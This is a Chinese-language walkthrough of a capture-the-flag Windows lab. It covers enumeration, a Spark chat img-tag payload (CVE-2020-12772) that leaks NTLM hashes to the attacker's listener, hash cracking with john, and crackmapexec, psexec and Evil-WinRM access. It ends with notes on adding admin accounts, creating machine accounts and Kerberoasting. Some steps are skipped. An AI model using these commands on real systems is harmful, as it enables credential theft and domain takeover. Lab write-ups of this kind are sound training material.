您已经可以访问 WindCorp 的内部网络,这家价值数十亿美元的公司正在运行广泛的社交媒体活动,声称无法破解(哈!这个说法就这么多了!
下一步是拿起他们的皇冠上的明珠,获得对他们内部网络的完全访问权限。您已经发现了一台新的 Windows 机器,它可能会引导您实现最终目标。你能征服这个最终 Boss 并拥有他们的内部网络吗?
祝您黑客活动愉快!
靶场概述
难度: 描述:hard
基本信息
| 🚀 | 本地机器信息 | 目标机器信息 |
|---|---|---|
| IP | 10.17.5.121 | 10.10.237.226 |
| OS | kali | windwos |
信息搜集


提取出mail

organicfish718@fire.windcorp.thm
organicwolf509@fire.windcorp.thm
tinywolf424@fire.windcorp.thm
angrybird253@fire.windcorp.thm
buse@fire.windcorp.thm
Edeltraut@fire.windcorp.thm
Edward@fire.windcorp.thm
Emile@fire.windcorp.thm
tinygoose102@fire.windcorp.thm
brownostrich284@fire.windcorp.thm
sadswan869@fire.windcorp.thm
goldencat416@fire.windcorp.thm
whiteleopard529@fire.windcorp.thm
happymeercat399@fire.windcorp.thm
orangegorilla428@fire.windcorp.thm


或许可以解决重置密码的密保
Lily Levesque
AndSparky
lilyleAndSparky.jpg
通过一些信息获取到了lilyle 的密码

lilyle
ChangeMe#1234

尝试用lilyle的凭证登录

有个注意点 观察到443端口也是开放的 使用https访问主域名

此路暂时不通缺少凭证
攻击向量
smb 445 利用
发现share目录获取内容

漏洞利用
Spark 2.8.3 的安装文件也很多,根据快速的谷歌搜索,我们发现 Spark 2.8.3 是易受攻击的。我将从 smb 共享中获取 .deb 文件。

在阅读 时,我发现了这个 github 存储库,它实际上是由这台机器的制造商创建的。据此,我们可以使用 spark 向其他用户发送带有 img 标签的消息,每次用户点击链接,或者 ROAR 模块自动预加载时,外部服务器都会收到访问链接的用户(即您正在聊天的用户)对图像的请求,以及 NTLM 哈希值!
如 github 存储库中所述,我们将使用并发送带有 img 标签的消息,并且我们应该会收到访问该链接的用户的 NTLM 哈希值。CVE-2020-12772``responder

我们有一个用户名列表,我们可以将我们的有效负载 发送给不同的用户,如果我们获得其中任何一个的 NTLM 哈希值,请在响应者中签入。
“<img src=http://yourtun0IP/a.png>”

[+] Listening for events...
[HTTP] NTLMv2 Client : 10.10.226.131
[HTTP] NTLMv2 Username : WINDCORP\buse
[HTTP] NTLMv2 Hash : buse::WINDCORP:581eb034fb28c39c:54A0D21F2C7F9C9FC662887D404ADBE6:010100000000
00003016F4F0AEBAD6019F1E18DD6C6FF8DD000000000200060053004D0042000100160053004D0042002D0054004F004F004C
004B00490054000400120073006D0062002E006C006F00630061006C0003002800730065007200760065007200320030003000
33002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C0008003000300000
00000000000100000000200000D06AF3C0BE5C4909A34ED0E1314D4F4E9E879FB75EC17102D80D7E32C45E88740A0010000000
0000000000000000000000000000090000000000000000000000
[*] Skipping previously captured hash for WINDCORP\buse
┌──(sid㉿kali)-[~/Documents/flags/tryhackme/ra]
└─$ echo "buse::WINDCORP:581eb034fb28c39c:54A0D21F2C7F9C9FC662887D404ADBE6:01010000000000003016F4F0AEBAD6019F1E18DD6C6FF8DD00000000020006005300
4D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C00030028007300650072007600650072003200300
0300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C000800300030000000000000000100000000200000D06AF3C0BE
5C4909A34ED0E1314D4F4E9E879FB75EC17102D80D7E32C45E88740A00100000000000000000000000000000000000090000000000000000000000" > hash
┌──(sid㉿kali)-[~/Documents/flags/tryhackme/ra]
└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
uzunLM+3131 (buse)
利用crackmapexec 凭据验证
crackmapexec 中 Pwn3d!对于 WinRM,这意味着我们可以使用 Evil-WinRM 来进入盒子。

提权
首先,我们检查 buse 用户属于哪些组,以及我们是否有任何特殊权限。

我们看到我们是 Account Operators 组的一部分,这意味着我们可以修改除 admin 帐户之外的所有帐户。然后在检查不同的目录时,我们找到一个 scripts 目录,其中包含一个 checkservers.ps1 powershell 脚本,它告诉我们“C:\Users\brittanycr\hosts.txt”正在自动运行/使用。终会读取每一行并通过Invoke-Expression执行
由于我们是 Account Operators 组的一部分,因此让我们重置帐户 “brittanycr” 的密码

看来我们不能把 psexec 或 winrm 作为 brittanycr 放进盒子里。让我们使用 smbclient 来放置我们的恶意hosts.txt文件。


┌──(sid㉿kali)-[~/Documents/flags/tryhackme/ra]
└─$ crackmapexec smb windcorp.thm -u sid -p 'hello!123'
SMB 10.10.226.131 445 FIRE [*] Windows 10.0 Build 17763 (name:FIRE) (domain:windcorp.thm) (signing:True) (SMBv1:False)
SMB 10.10.226.131 445 FIRE [+] windcorp.thm\sid:hello!123 (Pwn3d!)
┌──(sid㉿kali)-[~/Documents/flags/tryhackme/ra]
└─$ python3 /usr/share/doc/python3-impacket/examples/psexec.py sid@windcorp.thm
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
Password:
[*] Requesting shares on windcorp.thm.....
[*] Found writable share ADMIN$
[*] Uploading file cfKhdeUq.exe
[*] Opening SVCManager on windcorp.thm.....
[*] Creating service TNal on windcorp.thm.....
[*] Starting service TNal.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1158]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd c:\users\Administrator\Desktop
c:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 84E1-0562
Directory of c:\Users\Administrator\Desktop
05/10/2020 03:17 AM <DIR> .
05/10/2020 03:17 AM <DIR> ..
05/07/2020 12:22 AM 47 Flag3.txt
1 File(s) 47 bytes
2 Dir(s) 44,605,804,544 bytes free
c:\Users\Administrator\Desktop>type "Flag3.txt"
THM{ba3a2bff2e******************************}
c:\Users\Administrator\Desktop>
知识点
1. 检查 WinRM 服务是否启用
使用工具如 CrackMapExec 或 Nmap 来检测目标系统是否开启 WinRM 服务。
1.1 使用 CrackMapExec
bash
复制代码
crackmapexec winrm <target-ip> -u <username> -p <password>
- 如果输出中显示
[+],说明凭据有效且 WinRM 可用。 - 如果显示
[-],可能是凭据无效或服务未启用。
1.2 使用 Nmap
扫描端口 5985(HTTP)和 5986(HTTPS),它们是 WinRM 默认使用的端口:
bash
复制代码
nmap -p 5985,5986 <target-ip>
- 如果显示端口开放,说明 WinRM 可能正在运行。
2. 验证 WinRM 服务的响应
使用工具如 Evil-WinRM、CrackMapExec 或 Python 脚本来验证服务和凭据。
2.1 使用 Evil-WinRM
安装 Evil-WinRM:
bash
复制代码
sudo gem install evil-winrm
验证目标:
bash
复制代码
evil-winrm -i <target-ip> -u <username> -p <password>
- 成功连接后,你将进入目标系统的交互式 PowerShell 环境。
- 如果失败,检查服务是否正常运行或凭据是否有效。
2.2 使用 CrackMapExec
bash
复制代码
crackmapexec winrm <target-ip> -u <username> -p <password>
- 显示
Pwn3d!表示凭据有效并且具有管理员权限
2. CrackMapExec的作用
-
用户凭据验证
- 检查目标网络中某个用户凭据是否有效。
- 支持多种身份验证方式(明文密码、哈希、Kerberos票据等)。
-
共享文件和目录枚举
- 枚举共享资源。
- 下载或上传文件到目标系统的共享目录。
-
命令执行
- 在目标机器上远程执行命令(需要管理员权限)。
- 支持多种协议如 WinRM、SMB。
-
凭据提取
- 使用 Mimikatz 从目标提取用户凭据或哈希值。
-
Active Directory 集成
- 枚举域用户、域组和域计算机信息。
- 针对 Active Directory 的攻击(如 Kerberos 金票/银票、DC Sync 攻击等)。
-
自动化攻击
- 支持自动化 lateral movement(横向移动)。
- 支持多目标批量操作。
分析whoami
通过 whoami /all 的输出,我们可以提取和分析与用户权限、组成员身份以及特权相关的信息,以判断用户在目标系统上的能力以及潜在的攻击面。以下是详细的分析:
1. 用户信息
- 用户名:
windcorp\buse- 表示用户
buse在域windcorp中。
- 表示用户
- SID:
S-1-5-21-555431066-3599073733-176599750-5777- 安全标识符,唯一标识该用户。
- SID 的结构表明此用户是域用户,而非本地用户。
2. 组信息
用户属于多个组,其中一些组提供了有用的信息:
关键组分析
-
BUILTIN\Account Operators- 高权限组:此组的成员通常有能力管理账户,包括创建或修改用户账户。
- 潜在利用点:可以检查是否能创建一个高权限用户(如域管理员)。
-
BUILTIN\Remote Desktop Users- 用户属于远程桌面组,说明此用户可以通过 RDP 访问目标系统。
- 潜在利用点:尝试使用 RDP 连接并获取更高权限的访问。
-
BUILTIN\Remote Management Users- 此组成员默认可以通过 WinRM 远程访问系统。
- 已验证:通过 Evil-WinRM 成功登录确认。
-
WINDCORP\IT- 自定义组,可能赋予 IT 相关权限。
- 潜在利用点:查询此组的特权,判断是否有管理功能。
3. 权限信息
用户当前拥有以下权限:
关键权限分析
-
SeMachineAccountPrivilege- 描述: 允许用户将工作站加入域。
- 潜在利用点:
- 可以滥用此权限在域中创建计算机对象。
- 借助工具(如 PowerMad 或 AD Module)创建恶意机器账户,并使用相关的 SPN 进一步执行 Kerberos 票据攻击(如 Kerberoasting)。
-
SeChangeNotifyPrivilege- 描述: 允许用户绕过文件和目录的遍历检查。
- 攻击意义: 这是普通权限,对攻击意义不大。
-
SeIncreaseWorkingSetPrivilege- 描述: 允许用户调整进程的工作集大小。
- 攻击意义: 通常与内存管理有关,对攻击用途有限。
4. 动态访问控制
Kerberos support for Dynamic Access Control on this device has been disabled.- 描述: 目标设备不支持基于动态访问控制(DAC)的 Kerberos 身份验证。
- 攻击意义: 这不会直接影响你的渗透,但表明目标系统的安全配置可能较老。
5. 攻击面与利用建议
根据当前信息,你可以尝试以下攻击:
利用现有特权
-
机器账户攻击
-
滥用
SeMachineAccountPrivilege创建一个恶意的计算机对象。 -
示例命令(使用 PowerMad 模块):
powershell
复制代码
Import-Module PowerMad New-MachineAccount -MachineAccount EvilMachine -Password $(ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force) -
然后使用 Kerberos 票据进一步攻击(如 Golden/Silver Ticket)。
-
-
RDP 登录
-
用户属于
Remote Desktop Users,尝试使用 RDP 登录目标系统以获得 GUI 访问。 -
RDP 工具:
bash
复制代码
xfreerdp /u:buse /p:'uzunLM+3131' /v:<target-ip>
-
探索更高权限
-
账户操作
-
利用
Account Operators权限,尝试创建新账户或修改现有账户。 -
创建本地管理员账户的 PowerShell 示例:
powershell
复制代码
net user admin2 Password123! /add net localgroup administrators admin2 /add
-
-
枚举域信息
-
使用 PowerShell 或 CrackMapExec 枚举域中的用户、组和计算机:
bash
复制代码
crackmapexec smb <target-ip> -u buse -p 'uzunLM+3131' --shares crackmapexec ldap <target-ip> -u buse -p 'uzunLM+3131' --users
-
-
尝试 Kerberoasting
- 如果域中存在带有 SPN 的服务账户,尝试执行 Kerberoasting 攻击,提取可破解的 Kerberos 票据。
总结
- 当前用户具有一定权限,但并非管理员。
- 可以尝试滥用
SeMachineAccountPrivilege和Account Operators权限提升攻击范围。 - 使用 Evil-WinRM 和 CrackMapExec 进一步枚举目标系统和域的详细信息。